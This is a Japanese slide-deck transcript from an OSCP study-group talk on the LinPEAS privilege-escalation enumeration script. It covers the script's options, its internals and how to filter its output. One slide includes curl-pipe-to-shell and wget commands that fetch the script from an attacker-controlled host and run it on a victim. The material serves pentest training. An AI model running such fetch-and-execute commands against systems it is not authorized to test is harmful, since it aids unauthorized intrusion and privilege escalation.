Upgrade to Pro — share decks privately, control downloads, hide ads and more …

権限昇格がんばるぞい LinPEAS編 / Privilege escalation usin...

権限昇格がんばるぞい LinPEAS編 / Privilege escalation using LinPEAS

2023/05/04に開催されたOSCP勉強会のLT資料(軽量版)です。
https://off-sec-lab.connpass.com/event/279745/
27分喋ってました。LTとは…

tkito

May 04, 2023
Tweet

More Decks by tkito

Other Decks in Technology

Transcript

  1. 自己紹介 なまえ • きとう、てきとう、tkito • Twitter: @tkito しゅみ • ゲームしたり海に潜ったり徳を積んだり

    2 おしごと • 企業でSOCの中の人とかIRとか 権限昇格がんばるぞい LinPEAS編
  2. LinPEAS Linux Privilege Escalation Awesome Script • https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS • 権限昇格できそうなところを調査してくれるすごいやつ

    • HackTricksに書かれている項目を調べる • https://book.hacktricks.xyz/linux-hardening/privilege-escalation • アイコンがかわいい • PEASS-ng - Privilege Escalation Awesome Scripts SUITE new generation の1つ • ほかにはWinPEAS, MacPEASがある(MacPEASはLinPEASに同梱) • アイコンがかわいい 権限昇格がんばるぞい LinPEAS編 4
  3. LinPEASの使用はOK • 当時は自動で権限昇格するコードがあったが今はない • OffSecのブログに詳細 • https://www.offsec.com/offsec/understanding-pentest-tools-scripts • Understanding the

    tools/scripts you use in a Pentest • ペンテストで使うツール/スクリプトを理解しよう • 十分に理解していないツールを実行することは顧客のシステム、顧客との関係、本人の評価に悪影響がありうる • ツールの更新があった場合には変更内容を把握することが重要 • 次に同じようなことがあったら問答無用でダメ • LinPEASについて詳しく知ろう 権限昇格がんばるぞい LinPEAS編 7
  4. LinPEAS • ファイル • linpeas.sh の1つだけ(バイナリファイル版もある) • 実行場所 • ターゲットのマシン

    • 実行方法 • ターゲット上にファイルを持って行って直接実行 • Attacker: python3 –m http.server 80 • Victim: wget http://<attacker ip>/linpeas.sh sh linpeas.sh • ターゲットのメモリ上で実行 • Victim: curl http://<attacker ip>/linpeas.sh | sh curl http://<attacker ip>/linpeas.sh | sh -s -- -h 権限昇格がんばるぞい LinPEAS編 8
  5. LinPEASのオプション(主なもの) オプション 内容 -o 特定のタスクのみ実行 system_information, container, cloud, procs_crons_timers_srvcs_sockets, network_information,

    users_information, software_information, interesting_perms_files, interesting_files, api_keys_regex からカンマ区切りで指定 -s さらに早く -e 追加の列挙を実行 -r 正規表現によるチェックを実行(時間がかかる) -a [隠しオプション???] -eよりもう少し詳細 権限昇格がんばるぞい LinPEAS編 10
  6. LinPEASのオプション(内部処理) 権限昇格がんばるぞい LinPEAS編 11 linpeas.sh : FAST="1" #By default stealth/fast

    mode : while getopts "h?asd:p:i:P:qo:LMwNDterf:F:" opt; do case "$opt" in h|¥?) printf "%s¥n¥n" "$HELP$NC"; exit 0;; a) FAST="";EXTRA_CHECKS="1";; s) SUPERFAST=1;; e) EXTRA_CHECKS="1";; : r) REGEXES="1";;
  7. -e と –a の違い • -a だとFASTフラグが0になる • FASTフラグが0だと詳細チェックが実行される •

    例:SUIDチェック時に見慣れないバイナリがあった場合、詳細チェックをする • stringsによる関数呼び出しの推測 • straceによる動的解析 権限昇格がんばるぞい LinPEAS編 13
  8. -o のオプション • system_information • container • cloud • procs_crons_timers_srvcs_sockets

    • network_information • users_information • software_information • interesting_perms_files • interesting_files • api_keys_regex 権限昇格がんばるぞい LinPEAS編 14
  9. 出力の使い方 • Google is you friend. • だいたいRED/YELLOWのキーワードと”pentest”でググれば使える情報が出てくる 例:「no_root_squash pentest」

    • GTFOBins is your best friend. • https://gtfobins.github.io/ • SUIDチェックでRED/YELLOWを出すのに使ってるバイナリリストはGTFOBinsの情報をもとに作っているので、 GTFOBinsを見れば大体出てくる 権限昇格がんばるぞい LinPEAS編 16
  10. RED/YELLOWの探し方 • 目grep • RED/YELLOWは目立つので意外と見つけやすい • 出力行数全体が多くなるので砂漠の中から砂金を探すようなことになることも… • grepで抜き出す •

    RED/YELLOWなどの色付けはエスケープシーケンスで記述されてるのでシーケンスでgrepすればい ける • fgrep “[1;31;103m” <output file> • コンテキストが消失するのでどういうものとして出てきたのかが不明になる 権限昇格がんばるぞい LinPEAS編 17
  11. まとめ • LinPEASの調査をした • オプションによる実行時間の違い • 実行内容の違い • 出力の見方とフィルタ •

    出力が長くて大変なので賢くフィルタする何かを作りたい 権限昇格がんばるぞい LinPEAS編 18